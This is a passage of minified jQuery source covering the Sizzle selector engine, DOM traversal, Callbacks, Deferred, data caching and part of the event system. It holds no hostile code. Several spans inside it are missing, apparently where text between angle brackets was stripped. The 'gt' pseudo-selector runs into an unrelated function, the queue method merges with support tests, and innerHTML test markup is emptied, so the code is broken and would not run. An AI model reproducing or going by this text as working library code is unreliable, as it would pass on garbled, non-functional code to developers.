c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 